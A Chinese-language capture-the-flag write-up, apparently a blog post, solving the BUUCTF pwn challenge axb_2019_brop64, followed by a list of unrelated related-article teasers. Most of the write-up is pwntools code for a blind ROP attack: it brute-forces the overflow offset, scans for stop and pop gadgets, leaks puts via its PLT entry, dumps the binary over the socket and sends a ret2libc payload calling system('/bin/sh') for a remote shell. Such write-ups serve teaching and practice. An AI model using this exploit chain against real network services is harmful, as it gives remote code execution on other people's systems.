BUUCTF Pwn axb_2019_brop64 题解
这题是BROP 所以不下文件
先nc一下看看:

先要找到栈溢出长度:
from pwn import *
import timedef getsize():i = 1while True:try:p = remote("node5.buuoj.cn", 29367)p.sendafter("Please tell me:", b'a' * i)time.sleep(0.1)data = p.recv()p.close()if b"Goodbye!" not in data:return i - 1else:i += 1except EOFError:p.close()return i - 1size = getsize()
print(size)
运行后 找到溢出长度为216:

接下来,找stop gadget 这里用main函数作为stop gadget:
def getStopGadget():address = 0x4007d0while True:try:p = remote("node5.buuoj.cn", 29367)payload = b'a' * 216 + p64(address)p.sendafter("Please tell me:", payload)print(payload)time.sleep(0.1)buf = p.recv()print(buf)output = p.recv()print(output)if b"Hello" not in output:p.close()address += 1else:return addressexcept EOFError:address += 1p.close()
找到gadget是0x4007d6
接下来要找brop gadgets 用csu_init的:
def GetBropGadget(size, stop_gadget, addr):try:p = remote("node5.buuoj.cn", 29367)payload = b'a' * size + p64(addr) + p64(0) * 6 + p64(stop_gadget) + p64(0) * 10p.sendafter("Please tell me:", payload)time.sleep(0.1)buf = p.recv()print(buf)output = p.recv()p.close()print(output)if b"Hello" not in output:return Falsereturn Trueexcept EOFError:p.close()return Falsedef Check(size, addr):try:p = remote("node5.buuoj.cn", 29367)payload = b'a' * size + p64(addr) + p64(0) * 10p.sendafter(b'Please tell me:', payload)time.sleep(0.1)output = p.recv()p.close()print(output)return Falseexcept EOFError:p.close()return True
addr = 0x400900
while True:print(hex(addr))if GetBropGadget(216,0x4007d6,addr):print("brop gadget: 0x%x"% addr)if Check(216,addr):print("brop gadget: 0x%x"% addr)breakaddr+=1
找到是0x40095a

找到了6个pop的地址 这个地址+9即为pop_rdi_ret 的地址

接下来找puts函数的PLT :
def getputsplt(size, pop_rdi_ret, stop_gadget):addr = 0x400600while True:print(hex(addr))try:p = remote("node5.buuoj.cn", 29367)payload = b'a'*size + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)p.sendafter(b'Please tell me:', payload)time.sleep(0.1)buf = p.recv()output = p.recv()p.close()if b'\x7fELF' in output: #ELF文件的头部魔数print('puts plt address = 0x%x' % (addr))return (addr)addr += 1except EOFError:p.close()addr += 1

接下来找puts的GOT:
def leak(size, pop_rdi_ret, puts_plt, leak_addr,stop_addr):p = remote("node5.buuoj.cn", 29367)payload = b'a'*size + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_addr)p.sendafter(b'Please tell me:', payload)p.recvuntil(b'a' * size)p.recv(3)try:output = p.recv(timeout=1)p.close()try:output = output[:output.index(b"\nHello,I am a computer")]print(output)except Exception:output = outputif output == b"":output = b"\x00"return outputexcept Exception:p.close()return None
def dump_file(size, pop_rdi_ret, puts_plt,addr,stop_addr):result = b''while addr < 0x400835:print(hex(addr))output = leak(size, pop_rdi_ret, puts_plt,addr,stop_addr)if output is None:result += b'\x00'addr += 1continueelse:result += outputaddr += len(output)with open('dump_file','wb') as f:f.write(result)
生成的文件用IDA打开 二进制格式
之后在Edit->Segments->Rebase program 重设基地址为开始打印的地址:
找到对应plt地址:

puts GOT地址为 0x601018
接下来就是正常的libc:
def exp(size,pop_rdi_ret,puts_got,puts_plt,stop_gadget):p = remote("node5.buuoj.cn", 29367)libc = ELF('./libc-2.23.so')ret = 0x40095a + 0x9 + 0x5payload = b'a' * size + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(stop_gadget)p.sendafter(b'Please tell me:', payload)p.recvuntil(b'a'*size)p.recv(3)func_addr = p.recv(6)puts_addr = u64(func_addr.ljust(8,b'\x00'))print(hex(puts_addr))offset = puts_addr - libc.symbols['puts']system = offset + libc.symbols['system']binsh = offset + next(libc.search("/bin/sh\x00"))payload2 = b'a' * size + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system)p.sendafter(b'Please tell me:', payload2)p.interactive()exp(size, pop_rdi_ret, puts_got, puts_plt, stop_gadget)
运行 得到flag:

好长🫥
相关文章:
BUUCTF Pwn axb_2019_brop64 题解
这题是BROP 所以不下文件 先nc一下看看: 先要找到栈溢出长度: from pwn import * import timedef getsize():i 1while True:try:p remote("node5.buuoj.cn", 29367)p.sendafter("Please tell me:", ba * i)time.sleep(0.1)data …...
85.[1] 攻防世界 WEB easyphp
进入靶场 属于代码审计 <?php // 高亮显示当前 PHP 文件的源代码,常用于调试或展示代码 highlight_file(__FILE__);// 初始化两个标志变量,用于后续条件判断 $key1 0; $key2 0;// 从 GET 请求中获取参数 a 和 b $a $_GET[a]; $b $_GET[b];// 检…...
动态规划学习
在进行算法题练习和一些题目中发现关于动态规划的内容较多,觉得有必要系统的学习和练习一下 于是参照bilbilUP主 英雄哪里出来 的动态规划50题和LeetKoke网站进行学习和练习 一 概述 动态规划 是一个有限状态自动机 可以抽象为一个有向无环图 有起始节点 终止节点 …...
数据结构【链栈】
基于 C 实现链表栈:原理、代码与应用 一、引言 栈就是一个容器,可以当场一个盒子,只能一个一个拿,一个一个放,而且是从上面放入。 有序顺序栈操作比较容易【会了链栈之后顺序栈自然明白】,所以我们这里只…...
软件测试02----用例设计方法
今天目标 1.能对穷举场景设计测试点 2.能对限定边界规则设计测试点 3.能对多条件依赖关系进行设计测试点 4.能对项目业务进行设计测试点 一、解决穷举场景 重点:使用等价类划分法 1.1等价类划分法 重点:有效等价和单个无效等价各取1个即可。 步骤&#…...
编程AI深度实战:给vim装上AI
系列文章: 编程AI深度实战:私有模型deep seek r1,必会ollama-CSDN博客 编程AI深度实战:自己的AI,必会LangChain-CSDN博客 编程AI深度实战:给vim装上AI-CSDN博客 编程AI深度实战:火的编程AI&…...
《DeepSeek R1:大模型最简安装秘籍》
DeepSeek R1:AI 大模型界的新起之秀 在人工智能的璀璨星空中,大模型如繁星般闪耀,而 DeepSeek R1 无疑是其中一颗冉冉升起的新星,自问世以来便吸引了全球的目光,在人工智能领域占据了重要的一席之地。 从性能表现上看…...
物业管理平台系统为社区管理带来数字化转型与服务创新新机遇
内容概要 物业管理平台系统是数字化转型的利器,为社区管理带来了许多新机遇。想象一下,传统社区物业管理中繁琐的流程和低效的沟通如何被这种智能系统所替代。通过集成在线收费功能,我们不仅提高了费用收取的准确性,还减少了业主…...
红黑树的封装
一、封装思路 在 STL 中 map set 的底层就是封装了一棵红黑树。 其中连接红黑树和容器的是迭代器,map set 暴露出的接口都不是自己写的,而是红黑树写的,外部接口封装红黑树接口。 所以写出红黑树为 map set 写的接口,再在上层的…...
25.2.3 【洛谷】作为栈的复习不错(学习记录)
今天学习的东西不算多,放了一个星期假,感觉不少东西都没那么清楚,得复习一下才行。今天搞个栈题写,把栈复习一下,明天进入正轨,边复习边学习新东西,应该会有二叉树的学习等等... 【洛谷】P1449 …...
MFC程序设计(七)运行时类信息机制
运行时类信息机制的作用 我们在创建对象时,自己是清楚对象属于哪个类,但是计算机却不清楚。而MFC运行时类信息机制就是解决这个问题而存在的 运行时类信息机制的使用 我们在创建一个类时,只有满足以上三个条件,该类才能支持运行时…...
fflush的概念和使用案例
fflush() 是C语言标准库中用于控制输入/输出缓冲区的函数,其主要功能是强制刷新缓冲区,确保数据及时写入目标设备(如屏幕、文件)。以下是其概念和典型使用场景: 概念 功能: 刷新指定流的缓冲区。对于输出流…...
嵌入式知识点总结 操作系统 专题提升(四)-上下文
针对于嵌入式软件杂乱的知识点总结起来,提供给读者学习复习对下述内容的强化。 目录 1.上下文有哪些?怎么理解? 2.为什么会有上下文这种概念? 3.什么情况下进行用户态到内核态的切换? 4.中断上下文代码中有哪些注意事项? 5.请问线程需要保存哪些…...
React 封装高阶组件 做路由权限控制
React 高阶组件是什么 官方解释∶ 高阶组件(HOC)是 React 中用于复用组件逻辑的一种高级技巧。HOC 自身不是 React API 的一部分,它是一种基于 React 的组合特性而形成的设计模式。 高阶组件(HOC)就是一个函数&…...
【实践案例】基于大语言模型的海龟汤游戏
文章目录 项目背景提示词构建海龟汤主持人真相判断专家 具体实现流程文心一言大语言模型“海龟汤”插件参考 项目背景 “海龟汤”作为一种聚会类桌游,又称情境推理游戏,是一种猜测情境还原事件真相的智力游戏。其玩法是由出题者提出一个难以理解的事件&…...
NeetCode刷题第20天(2025.2.1)
文章目录 106 Best Time to Buy and Sell Stock with Cooldown 使用 Cooldown 买卖股票的最佳时间107 Coin Change II 换币 II108 Target Sum 目标总和109 Interleaving String 交错字符串110 Edit Distance 编辑距离111 Maximum Subarray 最大子数组112 Jump Game 跳跃游戏113…...
DeepSeek:人工智能领域的革新者与未来展望
在当今这个数据驱动的时代,人工智能(AI)正以前所未有的速度发展,而DeepSeek作为这一领域的先锋,正引领着AI技术的创新与突破。作为一家致力于推动人工智能技术创新与应用的前沿企业,DeepSeek不仅在多语言编…...
Spring Bean 容器
技术成长,是对场景设计细节不断的雕刻! 你觉得自己的技术什么时候得到了快速的提高,是CRUD写的多了以后吗?想都不要想,绝对不可能!CRUD写的再多也只是能满足你作为一个搬砖工具人,敲击少逻辑流…...
Flask代码审计实战
文章目录 Flask代码审计SQL注入命令/代码执行反序列化文件操作XXESSRFXSS其他 审计实战后记reference Flask代码审计 SQL注入 1、正确的使用直白一点就是:使用”逗号”,而不是”百分号” stmt "SELECT * FROM table WHERE id?" connectio…...
springboot启动配置文件-bootstrap.yml常用基本配置
在Spring Boot应用程序中,bootstrap.yml文件通常用于配置应用程序的启动阶段。在这个文件中,你可以配置一些在应用程序启动之前需要加载的属性,例如外部配置源、加密属性等。以下是一些常用的基本配置项: 1. 外部配置源 1.1 配置…...
多云管理“拦路虎”:深入解析网络互联、身份同步与成本可视化的技术复杂度
一、引言:多云环境的技术复杂性本质 企业采用多云策略已从技术选型升维至生存刚需。当业务系统分散部署在多个云平台时,基础设施的技术债呈现指数级积累。网络连接、身份认证、成本管理这三大核心挑战相互嵌套:跨云网络构建数据…...
装饰模式(Decorator Pattern)重构java邮件发奖系统实战
前言 现在我们有个如下的需求,设计一个邮件发奖的小系统, 需求 1.数据验证 → 2. 敏感信息加密 → 3. 日志记录 → 4. 实际发送邮件 装饰器模式(Decorator Pattern)允许向一个现有的对象添加新的功能,同时又不改变其…...
HTML 语义化
目录 HTML 语义化HTML5 新特性HTML 语义化的好处语义化标签的使用场景最佳实践 HTML 语义化 HTML5 新特性 标准答案: 语义化标签: <header>:页头<nav>:导航<main>:主要内容<article>&#x…...
Appium+python自动化(十六)- ADB命令
简介 Android 调试桥(adb)是多种用途的工具,该工具可以帮助你你管理设备或模拟器 的状态。 adb ( Android Debug Bridge)是一个通用命令行工具,其允许您与模拟器实例或连接的 Android 设备进行通信。它可为各种设备操作提供便利,如安装和调试…...
《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)
CSI-2 协议详细解析 (一) 1. CSI-2层定义(CSI-2 Layer Definitions) 分层结构 :CSI-2协议分为6层: 物理层(PHY Layer) : 定义电气特性、时钟机制和传输介质(导线&#…...
OPENCV形态学基础之二腐蚀
一.腐蚀的原理 (图1) 数学表达式:dst(x,y) erode(src(x,y)) min(x,y)src(xx,yy) 腐蚀也是图像形态学的基本功能之一,腐蚀跟膨胀属于反向操作,膨胀是把图像图像变大,而腐蚀就是把图像变小。腐蚀后的图像变小变暗淡。 腐蚀…...
关键领域软件测试的突围之路:如何破解安全与效率的平衡难题
在数字化浪潮席卷全球的今天,软件系统已成为国家关键领域的核心战斗力。不同于普通商业软件,这些承载着国家安全使命的软件系统面临着前所未有的质量挑战——如何在确保绝对安全的前提下,实现高效测试与快速迭代?这一命题正考验着…...
C++.OpenGL (14/64)多光源(Multiple Lights)
多光源(Multiple Lights) 多光源渲染技术概览 #mermaid-svg-3L5e5gGn76TNh7Lq {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg-3L5e5gGn76TNh7Lq .error-icon{fill:#552222;}#mermaid-svg-3L5e5gGn76TNh7Lq .erro…...
Neko虚拟浏览器远程协作方案:Docker+内网穿透技术部署实践
前言:本文将向开发者介绍一款创新性协作工具——Neko虚拟浏览器。在数字化协作场景中,跨地域的团队常需面对实时共享屏幕、协同编辑文档等需求。通过本指南,你将掌握在Ubuntu系统中使用容器化技术部署该工具的具体方案,并结合内网…...
人工智能 - 在Dify、Coze、n8n、FastGPT和RAGFlow之间做出技术选型
在Dify、Coze、n8n、FastGPT和RAGFlow之间做出技术选型。这些平台各有侧重,适用场景差异显著。下面我将从核心功能定位、典型应用场景、真实体验痛点、选型决策关键点进行拆解,并提供具体场景下的推荐方案。 一、核心功能定位速览 平台核心定位技术栈亮…...
